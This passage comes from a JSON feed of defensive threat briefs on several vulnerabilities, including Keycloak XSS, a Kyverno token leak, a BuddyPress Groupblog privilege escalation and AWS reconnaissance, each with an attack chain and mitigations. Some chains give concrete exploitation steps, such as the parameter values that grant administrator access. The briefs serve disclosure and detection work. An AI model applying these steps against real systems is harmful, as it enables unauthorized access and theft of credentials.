prioritize patching Keycloak installations and implementing input validation to mitigate this risk.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker authenticates to the Keycloak instance with valid credentials.\u003c/li\u003e\n\u003cli\u003eAttacker identifies a vulnerable input field or parameter within the Keycloak application (e.g., user profile, group name, etc.).\u003c/li\u003e\n\u003cli\u003eAttacker crafts a malicious payload containing JavaScript code.\u003c/li\u003e\n\u003cli\u003eAttacker injects the malicious payload into the vulnerable input field.\u003c/li\u003e\n\u003cli\u003eThe Keycloak application stores the malicious payload without proper sanitization.\u003c/li\u003e\n\u003cli\u003eA victim user (e.g., another authenticated user or an administrator) accesses the page containing the injected payload.\u003c/li\u003e\n\u003cli\u003eThe victim\u0026rsquo;s browser executes the malicious JavaScript code.\u003c/li\u003e\n\u003cli\u003eThe attacker can then steal cookies, redirect the user to a malicious site, or perform other actions on behalf of the victim.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this XSS vulnerability can lead to several negative consequences. An attacker could potentially steal session cookies, allowing them to impersonate other users, including administrators. This could grant them unauthorized access to sensitive data, configuration settings, and management functions. Furthermore, the attacker could deface the Keycloak interface, inject phishing scams, or redirect users to malicious websites. The number of victims depends on the number of users accessing the page with the injected XSS payload.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement input validation and output encoding to prevent XSS attacks within Keycloak.\u003c/li\u003e\n\u003cli\u003eReview Keycloak access logs for suspicious activity related to user profiles and injected scripts.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule to detect possible XSS attempts in Keycloak logs.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-15T07:33:56Z","date_published":"2026-04-15T07:33:56Z","id":"/briefs/2026-04-keycloak-xss/","summary":"An authenticated remote attacker can exploit a vulnerability in Keycloak to perform a Cross-Site Scripting attack, potentially leading to unauthorized access and data compromise.","title":"Keycloak Cross-Site Scripting Vulnerability","url":"https://feed.craftedsignal.io/briefs/2026-04-keycloak-xss/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["kyverno","token-leak","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA vulnerability exists in Kyverno versions prior to 1.17.0 where the \u003ccode\u003eapiCall\u003c/code\u003e and \u003ccode\u003eserviceCall\u003c/code\u003e helpers automatically inject the Kyverno controller\u0026rsquo;s service account token into outgoing requests. This occurs when a Kyverno policy does not explicitly define an \u003ccode\u003eAuthorization\u003c/code\u003e header for the request. Because the destination URL for these API calls is policy-controlled via \u003ccode\u003econtext.apiCall.service.url\u003c/code\u003e, a malicious actor could create or modify a \u003ccode\u003eClusterPolicy\u003c/code\u003e or \u003ccode\u003eGlobalContextEntry\u003c/code\u003e to direct these requests—and thus the service account token—to an attacker-controlled endpoint. This vulnerability allows for token exfiltration and subsequent unauthorized actions, depending on the RBAC permissions granted to the Kyverno service account. This issue is limited to \u003ccode\u003eClusterPolicy\u003c/code\u003e and global context usage, as namespaced policies are blocked from \u003ccode\u003eservicecall\u003c/code\u003e usage.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains the ability to create or modify \u003ccode\u003eClusterPolicy\u003c/code\u003e objects, potentially by compromising a GitOps repository or controller managing Kyverno policies.\u003c/li\u003e\n\u003cli\u003eAttacker crafts a malicious \u003ccode\u003eClusterPolicy\u003c/code\u003e that uses the \u003ccode\u003eapiCall\u003c/code\u003e or \u003ccode\u003eserviceCall\u003c/code\u003e feature.\u003c/li\u003e\n\u003cli\u003eThe policy specifies a URL for the \u003ccode\u003econtext.apiCall.service.url\u003c/code\u003e that points to an attacker-controlled endpoint designed to capture the incoming request.\u003c/li\u003e\n\u003cli\u003eThe crafted policy does not define an explicit \u003ccode\u003eAuthorization\u003c/code\u003e header for the \u003ccode\u003eapiCall\u003c/code\u003e or \u003ccode\u003eserviceCall\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eWhen the policy is triggered, Kyverno\u0026rsquo;s \u003ccode\u003eexecutor.addHTTPHeaders\u003c/code\u003e function detects the missing \u003ccode\u003eAuthorization\u003c/code\u003e header.\u003c/li\u003e\n\u003cli\u003eKyverno reads the service account token from \u003ccode\u003e/var/run/secrets/kubernetes.io/serviceaccount/token\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eKyverno injects the service account token into the request header as \u003ccode\u003eAuthorization: Bearer \u0026lt;token\u0026gt;\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe request, including the Kyverno service account token, is sent to the attacker-controlled endpoint, allowing the attacker to exfiltrate the token.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability results in the exfiltration of the Kyverno controller service account token. The severity of the impact depends on the RBAC roles and permissions assigned to the Kyverno service account within the Kubernetes cluster. With the stolen token, an attacker can perform any action that the Kyverno service account is authorized to perform, potentially leading to cluster-wide compromise, data breaches, or denial-of-service conditions. The number of affected clusters would depend on the number of Kyverno deployments using vulnerable versions.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Kyverno to version 1.17.0 or later to patch the vulnerability (go/github.com/kyverno/kyverno).\u003c/li\u003e\n\u003cli\u003eImplement monitoring to detect modifications to \u003ccode\u003eClusterPolicy\u003c/code\u003e resources, especially those utilizing \u003ccode\u003eapiCall\u003c/code\u003e or \u003ccode\u003eserviceCall\u003c/code\u003e to arbitrary URLs, to quickly identify potentially malicious policy changes.\u003c/li\u003e\n\u003cli\u003eDeploy the provided Sigma rule to detect unexpected outbound network connections from the Kyverno pod that may indicate token exfiltration.\u003c/li\u003e\n\u003cli\u003eAs a workaround, set explicit \u003ccode\u003eAuthorization\u003c/code\u003e headers in all \u003ccode\u003eapiCall\u003c/code\u003e and \u003ccode\u003eserviceCall\u003c/code\u003e policies to prevent the implicit token injection (see workarounds).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-14T20:09:00Z","date_published":"2026-04-14T20:09:00Z","id":"/briefs/2026-04-kyverno-token-leak/","summary":"Kyverno's apiCall serviceCall helper implicitly injects the Kyverno controller service account token into requests when policies lack an explicit Authorization header, allowing exfiltration to attacker-controlled endpoints and unauthorized actions.","title":"Kyverno Service Account Token Leak via API Call","url":"https://feed.craftedsignal.io/briefs/2026-04-kyverno-token-leak/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.1,"id":"CVE-2026-22828"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["cve-2026-22828","fortinet","heap-overflow","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA heap-based buffer overflow vulnerability, identified as CVE-2026-22828, affects Fortinet FortiAnalyzer Cloud and FortiManager Cloud versions 7.6.2 through 7.6.4. The vulnerability allows a remote, unauthenticated attacker to potentially execute arbitrary code or commands. Exploitation necessitates sending specifically crafted requests to the affected systems. The complexity of a successful exploit is amplified by the presence of Address Space Layout Randomization (ASLR) and network segmentation, which impose significant hurdles for attackers in preparing the environment for code execution. This vulnerability poses a risk to organizations utilizing these Fortinet cloud services, potentially allowing for unauthorized access and control.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker identifies a vulnerable FortiAnalyzer or FortiManager Cloud instance running versions 7.6.2-7.6.4.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious HTTP request designed to trigger the heap-based buffer overflow. This involves analyzing the vulnerable application to identify the specific request parameters and data structures that can be manipulated.\u003c/li\u003e\n\u003cli\u003eThe attacker sends the crafted request to the targeted Fortinet Cloud instance.\u003c/li\u003e\n\u003cli\u003eDue to the buffer overflow, the crafted request overwrites adjacent memory on the heap, potentially corrupting data structures used by the application.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to leverage the memory corruption to gain control of program execution. Because of ASLR, this step requires careful planning and potentially multiple attempts to bypass address randomization.\u003c/li\u003e\n\u003cli\u003eUpon successful bypass of ASLR, the attacker overwrites a function pointer or other critical data in memory to redirect program control to attacker-controlled code.\u003c/li\u003e\n\u003cli\u003eThe attacker executes arbitrary code within the context of the FortiAnalyzer or FortiManager Cloud process.\u003c/li\u003e\n\u003cli\u003eThe attacker can now execute commands, potentially gaining unauthorized access to sensitive data, modifying system configurations, or deploying further malicious payloads within the cloud environment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-22828 can allow a remote, unauthenticated attacker to execute arbitrary code on vulnerable Fortinet FortiAnalyzer Cloud and FortiManager Cloud instances (versions 7.6.2 through 7.6.4). While the effort required is considerable, a successful attack can lead to a complete compromise of the affected system, potentially resulting in data breaches, service disruption, or the deployment of malicious software. The absence of specific victim counts or sector targeting details in the original advisory emphasizes the importance of proactive mitigation.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply available patches or upgrade to a fixed version of Fortinet FortiAnalyzer Cloud and FortiManager Cloud to address CVE-2026-22828 (\u003ca href=\"https://fortiguard.fortinet.com/psirt/FG-IR-26-121)\"\u003ehttps://fortiguard.fortinet.com/psirt/FG-IR-26-121)\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eImplement network segmentation to limit the potential impact of a successful exploit, as mentioned in the vulnerability description.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect Suspicious HTTP Requests to Fortinet Cloud Services\u0026rdquo; to identify potential exploitation attempts (see rule below).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-14T16:16:37Z","date_published":"2026-04-14T16:16:37Z","id":"/briefs/2026-04-fortinet-heap-overflow/","summary":"CVE-2026-22828 is a heap-based buffer overflow in Fortinet FortiAnalyzer and FortiManager Cloud versions 7.6.2 through 7.6.4, potentially allowing a remote unauthenticated attacker to execute arbitrary code with a significant preparation effort due to ASLR and network segmentation.","title":"Fortinet FortiAnalyzer and FortiManager Cloud Heap-Based Buffer Overflow Vulnerability (CVE-2026-22828)","url":"https://feed.craftedsignal.io/briefs/2026-04-fortinet-heap-overflow/"},{"_cs_actors":[],"_cs_cves":[{"cvss":7.1,"id":"CVE-2026-40436"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["cve","password-reset","zte","zxedm","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eCVE-2026-40436 is a critical vulnerability affecting ZTE ZXEDM iEMS, a cloud EMS portal, disclosed in April 2026. The vulnerability arises from inadequate access control within the user list acquisition function. An attacker, with low-level privileges (i.e., access to the cloud EMS portal), can exploit this flaw to retrieve a comprehensive list of all users managed by the system. Subsequently, leveraging the obtained user information, the attacker can reset passwords for targeted accounts, gaining unauthorized access and potentially compromising the entire system. The absence of proper authorization checks on the user list interface is the root cause. This allows an attacker to perform illegitimate password resets, leading to data breaches, service disruption, or further malicious activities within the iEMS environment.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains low-privileged access to the ZTE ZXEDM iEMS cloud EMS portal.\u003c/li\u003e\n\u003cli\u003eAttacker accesses the user list interface without proper authorization checks.\u003c/li\u003e\n\u003cli\u003eThe system improperly grants access to the full user list information.\u003c/li\u003e\n\u003cli\u003eAttacker extracts usernames and associated account details from the user list.\u003c/li\u003e\n\u003cli\u003eAttacker initiates a password reset request for a targeted user account.\u003c/li\u003e\n\u003cli\u003eThe system, lacking proper validation, allows the attacker to reset the password.\u003c/li\u003e\n\u003cli\u003eAttacker uses the newly reset password to log in to the targeted user account.\u003c/li\u003e\n\u003cli\u003eAttacker performs unauthorized operations, potentially exfiltrating sensitive data or disrupting services.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-40436 could lead to a complete compromise of the ZTE ZXEDM iEMS system. The ability to reset passwords for any user grants the attacker full control over affected accounts. Depending on the privileges associated with compromised accounts, an attacker could gain access to sensitive configuration data, customer information, or critical infrastructure controls. The lack of specific victim numbers or sectors targeted in the initial report suggests the scope is variable based on deployment. The CVSS score of 7.1 indicates a high potential for confidentiality, integrity, and availability impact.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply the patch or upgrade to the latest version of ZTE ZXEDM iEMS as provided by ZTE to address CVE-2026-40436.\u003c/li\u003e\n\u003cli\u003eImplement stricter access control policies on the cloud EMS portal, specifically for the user list acquisition function, and test the effectiveness of the changes.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect Account Password Reset Activity\u0026rdquo; to identify suspicious password reset activity in the iEMS environment.\u003c/li\u003e\n\u003cli\u003eEnable and monitor authentication logs for unauthorized access attempts following password resets to detect potential exploitation.\u003c/li\u003e\n\u003cli\u003eReview user account privileges and enforce the principle of least privilege to minimize the impact of potential account compromise.\u003c/li\u003e\n\u003cli\u003eInvestigate any successful exploitation attempts using the system logs and network traffic to identify the scope of the breach and compromised data.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-13T07:16:50Z","date_published":"2026-04-13T07:16:50Z","id":"/briefs/2026-04-zte-zxedm-password-reset/","summary":"CVE-2026-40436 is a vulnerability in the ZTE ZXEDM iEMS product that allows attackers to reset user passwords due to improper access control on the user list acquisition function within the cloud EMS portal, potentially leading to unauthorized operations and system compromise.","title":"ZTE ZXEDM iEMS Password Reset Vulnerability (CVE-2026-40436)","url":"https://feed.craftedsignal.io/briefs/2026-04-zte-zxedm-password-reset/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["low"],"_cs_tags":["cloud","aws","s3","reconnaissance"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis threat brief details detection of rapid enumeration of AWS S3 bucket configurations. The activity is characterized by an AWS principal invoking read-only S3 control-plane APIs across numerous buckets within a short timeframe. This pattern is consistent with automated reconnaissance, security scanning, or post-compromise enumeration. The activity is detected by monitoring AWS CloudTrail logs for specific API calls such as \u003ccode\u003eGetBucketAcl\u003c/code\u003e, \u003ccode\u003eGetBucketPublicAccessBlock\u003c/code\u003e, \u003ccode\u003eGetBucketPolicy\u003c/code\u003e, \u003ccode\u003eGetBucketPolicyStatus\u003c/code\u003e, and \u003ccode\u003eGetBucketVersioning\u003c/code\u003e. The detection logic excludes AWS service principals and sessions using Management Console credentials to reduce false positives. This activity is relevant for defenders as it can signal early-stage reconnaissance by threat actors like Team PCP, or unauthorized data discovery within the AWS environment. The rule uses a threshold of 15 distinct buckets accessed within 10 seconds to identify suspicious behavior.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains access to AWS credentials, possibly through compromised credentials or misconfigured IAM roles.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the acquired credentials to authenticate to the AWS environment.\u003c/li\u003e\n\u003cli\u003eThe attacker executes a script or tool that calls multiple S3 APIs (e.g., \u003ccode\u003eGetBucketAcl\u003c/code\u003e, \u003ccode\u003eGetBucketPolicy\u003c/code\u003e) to gather information about S3 buckets.\u003c/li\u003e\n\u003cli\u003eThe tool iterates through a list of buckets, querying the configuration of each.\u003c/li\u003e\n\u003cli\u003eThe attacker collects the responses from the S3 API calls, mapping out bucket names, permissions, and access control lists.\u003c/li\u003e\n\u003cli\u003eThe attacker analyzes the collected data to identify potentially sensitive data or misconfigured buckets.\u003c/li\u003e\n\u003cli\u003eBased on the findings, the attacker may proceed to exfiltrate data from accessible buckets (T1530).\u003c/li\u003e\n\u003cli\u003eThe attacker may also attempt to modify bucket policies or access controls to gain further access or persistence.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful reconnaissance of S3 bucket configurations allows attackers to identify vulnerable buckets, potentially leading to data breaches or unauthorized access to sensitive information. The source material does not provide specific victim counts or sectors. However, the impact can range from exposure of confidential data to full compromise of the AWS environment, depending on the level of access gained and the sensitivity of the data stored in the targeted buckets. Identifying the activity early can prevent further exploitation.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect rapid S3 bucket posture API calls (see: \u0026ldquo;AWS S3 Rapid Bucket Enumeration\u0026rdquo;).\u003c/li\u003e\n\u003cli\u003eReview IAM policies and enforce least privilege on S3 read APIs to limit the scope of potential reconnaissance activities.\u003c/li\u003e\n\u003cli\u003eMonitor CloudTrail logs for the same \u003ccode\u003eaws.cloudtrail.user_identity.arn\u003c/code\u003e and \u003ccode\u003esource.ip\u003c/code\u003e within approximately ±30 minutes for follow-on patterns such as \u003ccode\u003eListBuckets\u003c/code\u003e, \u003ccode\u003eGetObject\u003c/code\u003e, \u003ccode\u003ePutBucketPolicy\u003c/code\u003e, or \u003ccode\u003eAssumeRole\u003c/code\u003e activities (see Overview).\u003c/li\u003e\n\u003cli\u003eRotate or disable keys for the affected identity, revoke active role sessions where possible, and restrict the source IP at the network layer if it is not authorized (see Overview).\u003c/li\u003e\n\u003cli\u003eWhitelist approved scanning accounts and tune the Sigma rule to reduce noise from those identities (see Overview).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-11T12:00:00Z","date_published":"2026-04-11T12:00:00Z","id":"/briefs/2026-04-aws-s3-reconnaissance/","summary":"An AWS principal rapidly enumerates S3 bucket configurations using read-only APIs, potentially indicating reconnaissance activity by security scanners, CSPM tools, or malicious actors performing post-compromise enumeration.","title":"AWS S3 Rapid Bucket Posture API Calls Indicate Reconnaissance","url":"https://feed.craftedsignal.io/briefs/2026-04-aws-s3-reconnaissance/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.8,"id":"CVE-2026-5144"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["wordpress","buddypress","privilege-escalation","cve-2026-5144","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe BuddyPress Groupblog plugin, versions 1.9.3 and below, contains a critical privilege escalation vulnerability (CVE-2026-5144). This flaw allows authenticated attackers with minimal privileges (Subscriber or higher) to escalate privileges to Administrator on the main WordPress Multisite site. The vulnerability stems from a lack of authorization checks in the group blog settings handler. Specifically, the plugin improperly validates the \u003ccode\u003egroupblog-blogid\u003c/code\u003e, \u003ccode\u003edefault-member\u003c/code\u003e, and \u003ccode\u003egroupblog-silent-add\u003c/code\u003e parameters. This vulnerability allows an attacker to associate their group with the main site (blog ID 1) and automatically assign the \u0026lsquo;administrator\u0026rsquo; role to new group members. Successful exploitation grants attackers full control over the WordPress Multisite network, posing a significant risk to data confidentiality, integrity, and availability.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker creates a new group on the WordPress Multisite network with a Subscriber account.\u003c/li\u003e\n\u003cli\u003eAttacker accesses the group\u0026rsquo;s settings page.\u003c/li\u003e\n\u003cli\u003eAttacker modifies the \u003ccode\u003egroupblog-blogid\u003c/code\u003e parameter, setting it to \u0026ldquo;1\u0026rdquo; to associate the group with the main site. This is done by crafting a malicious HTTP POST request to the group settings handler.\u003c/li\u003e\n\u003cli\u003eThe attacker modifies the \u003ccode\u003edefault-member\u003c/code\u003e parameter to \u0026ldquo;administrator\u0026rdquo;. This parameter controls the default role assigned to new members.\u003c/li\u003e\n\u003cli\u003eThe attacker enables the \u003ccode\u003egroupblog-silent-add\u003c/code\u003e parameter. This setting automatically adds new group members to the associated blog (main site) with the specified default role (administrator).\u003c/li\u003e\n\u003cli\u003eAttacker creates a second user account or convinces another user to join their malicious group.\u003c/li\u003e\n\u003cli\u003eWhen the new user joins the attacker\u0026rsquo;s group, the \u003ccode\u003egroupblog-silent-add\u003c/code\u003e setting automatically adds the new user to the main site with the administrator role.\u003c/li\u003e\n\u003cli\u003eThe attacker (via the new user account) now has administrator access to the main WordPress Multisite site.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-5144 grants an attacker complete control over the targeted WordPress Multisite network. This allows them to modify content, install malicious plugins, create new administrator accounts, and potentially compromise the underlying server. The impact is especially severe for organizations relying on WordPress Multisite for critical applications, as it can lead to data breaches, service disruptions, and significant financial losses. The vulnerability affects all installations using the BuddyPress Groupblog plugin up to version 1.9.3, potentially impacting thousands of websites.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImmediately update the BuddyPress Groupblog plugin to a version greater than 1.9.3 to patch CVE-2026-5144.\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for POST requests to \u003ccode\u003e/wp-admin/options.php\u003c/code\u003e with parameters \u003ccode\u003egroupblog-blogid\u003c/code\u003e, \u003ccode\u003edefault-member\u003c/code\u003e, and \u003ccode\u003egroupblog-silent-add\u003c/code\u003e to detect potential exploitation attempts, using the provided Sigma rule.\u003c/li\u003e\n\u003cli\u003eImplement strict access control policies to limit the ability of low-privileged users to modify group settings and install plugins.\u003c/li\u003e\n\u003cli\u003eEnable logging of user role changes to detect unauthorized privilege escalation attempts.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-11T02:19:36Z","date_published":"2026-04-11T02:19:36Z","id":"/briefs/2026-04-buddypress-privesc/","summary":"The BuddyPress Groupblog plugin for WordPress is vulnerable to privilege escalation (CVE-2026-5144), allowing a low-privileged user to gain administrator access on a WordPress Multisite network by manipulating group blog settings.","title":"BuddyPress Groupblog Plugin Privilege Escalation Vulnerability (CVE-2026-5144)","url":"https://feed.craftedsignal.io/briefs/2026-04-buddypress-privesc/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["cloud","aws","sts","discovery"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe AWS Security Token Service (STS) GetCallerIdentity API allows a user to retrieve information about the IAM user or role associated with the credentials being used. While a legitimate user should already know the account they are operating in, an attacker with compromised credentials may use this API to verify the validity of the credentials and enumerate account details. This activity, especially when observed for the first time from a particular user identity, can indicate malicious reconnaissance. This detection focuses on identifying the initial use of the GetCallerIdentity API, excluding instances where an assumed role is involved due to the common practice of using GetCallerIdentity after assuming a role. This event is flagged as anomalous, potentially signaling unauthorized access or credential misuse within an AWS environment.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains unauthorized access to AWS credentials, either through phishing, credential stuffing, or compromised systems.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised credentials to authenticate to the AWS environment.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the \u003ccode\u003ests:GetCallerIdentity\u003c/code\u003e API call to identify the associated AWS account ID, IAM user, or role.\u003c/li\u003e\n\u003cli\u003eThe AWS STS service processes the request and returns the identity information to the attacker.\u003c/li\u003e\n\u003cli\u003eThe attacker analyzes the returned identity information to understand the scope and privileges of the compromised credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the gathered information to perform further reconnaissance activities, such as identifying accessible resources and services.\u003c/li\u003e\n\u003cli\u003eBased on the discovered information, the attacker may attempt to escalate privileges or move laterally within the AWS environment.\u003c/li\u003e\n\u003cli\u003eThe final objective could include data exfiltration, deployment of malicious workloads, or disruption of services.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation and undetected reconnaissance can lead to significant damage, including unauthorized access to sensitive data, compromised workloads, and disruption of critical services. The impact can range from data breaches and financial losses to reputational damage and regulatory fines. Depending on the scope of the compromised credentials, the attacker may be able to access and control a large portion of the AWS environment. In the event of a breach, the organization may incur costs related to incident response, data recovery, and legal settlements.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS STS GetCallerIdentity API Called for the First Time by New Identity\u0026rdquo; to your SIEM and tune for your environment to detect anomalous usage of the GetCallerIdentity API.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule, focusing on identifying the source IP address, user agent, and the user identity associated with the API call.\u003c/li\u003e\n\u003cli\u003eReview IAM permission policies for the user identity associated with the GetCallerIdentity API call to ensure the least privilege principle is followed.\u003c/li\u003e\n\u003cli\u003eEnable AWS CloudTrail logging for all AWS regions in your account to ensure comprehensive event logging, as required by the detection rule.\u003c/li\u003e\n\u003cli\u003eConsider adding exceptions based on \u003ccode\u003euser.id\u003c/code\u003e or \u003ccode\u003eaws.cloudtrail.user_identity.arn\u003c/code\u003e values for automation workflows that legitimately rely on the GetCallerIdentity API, as mentioned in the overview.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all IAM users to mitigate the risk of credential compromise, as suggested in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-10T16:48:32Z","date_published":"2026-04-10T16:48:32Z","id":"/briefs/2024-10-aws-sts-getcalleridentity/","summary":"An adversary with access to compromised AWS credentials may attempt to verify their validity and determine the account they are using by calling the STS GetCallerIdentity API, potentially indicating credential compromise and unauthorized discovery activity.","title":"AWS STS GetCallerIdentity API Called for the First Time","url":"https://feed.craftedsignal.io/briefs/2024-10-aws-sts-getcalleridentity/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["credential-access","cloud","kubernetes"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis threat brief focuses on the detection of potential credential compromise and abuse in multi-cloud environments. The core issue is the observation of a single source IP address accessing secret stores across multiple cloud providers (AWS Secrets Manager, Google Secret Manager, Azure Key Vault) and Kubernetes clusters within a short timeframe. This behavior, detected by the Elastic rule \u0026ldquo;Multiple Cloud Secrets Accessed by Source Address\u0026rdquo; published on 2026-04-10, is indicative of an adversary attempting to harvest secrets using stolen credentials, hijacked sessions, or replayed tokens. The rule is designed to identify anomalous cross-cloud secret retrieval, which is uncommon in legitimate multi-cloud orchestration scenarios. Defenders need to identify the source IP, the accessed secrets, and potential compromise scope to mitigate the threat effectively.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Access:\u003c/strong\u003e Adversary gains access to valid credentials or session tokens through various means like phishing, malware, or exposed credentials. (T1555, T1566)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuthentication:\u003c/strong\u003e Adversary uses the compromised credentials or tokens to authenticate to one of the cloud provider\u0026rsquo;s API (AWS, Azure, GCP).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery (AWS):\u003c/strong\u003e The adversary leverages the AWS CLI or API to enumerate available secrets stored in AWS Secrets Manager using \u003ccode\u003eGetSecretValue\u003c/code\u003e API calls.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery (Azure):\u003c/strong\u003e The adversary uses compromised credentials to interact with Azure Key Vault, utilizing \u003ccode\u003eSecretGet\u003c/code\u003e or \u003ccode\u003eKeyGet\u003c/code\u003e actions to discover accessible secrets.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery (GCP):\u003c/strong\u003e The adversary uses compromised service account or user credentials to access Google Secret Manager and enumerate accessible secrets using \u003ccode\u003egoogle.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion\u003c/code\u003e or \u003ccode\u003egoogle.cloud.secretmanager.v1.SecretManagerService.GetSecretRequest\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery (Kubernetes):\u003c/strong\u003e The adversary uses compromised credentials to access the Kubernetes API and enumerate secrets within the cluster, specifically targeting the \u003ccode\u003esecrets\u003c/code\u003e resource with \u003ccode\u003eget\u003c/code\u003e or \u003ccode\u003elist\u003c/code\u003e verbs.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCredential Access:\u003c/strong\u003e The adversary retrieves the secret values from each cloud provider and Kubernetes cluster. (T1555.006)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eExfiltration/Lateral Movement:\u003c/strong\u003e The adversary exfiltrates the retrieved secrets for further malicious activities, such as lateral movement within the cloud environments or unauthorized access to sensitive data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to the exfiltration of sensitive data, including API keys, database passwords, and encryption keys. This could result in 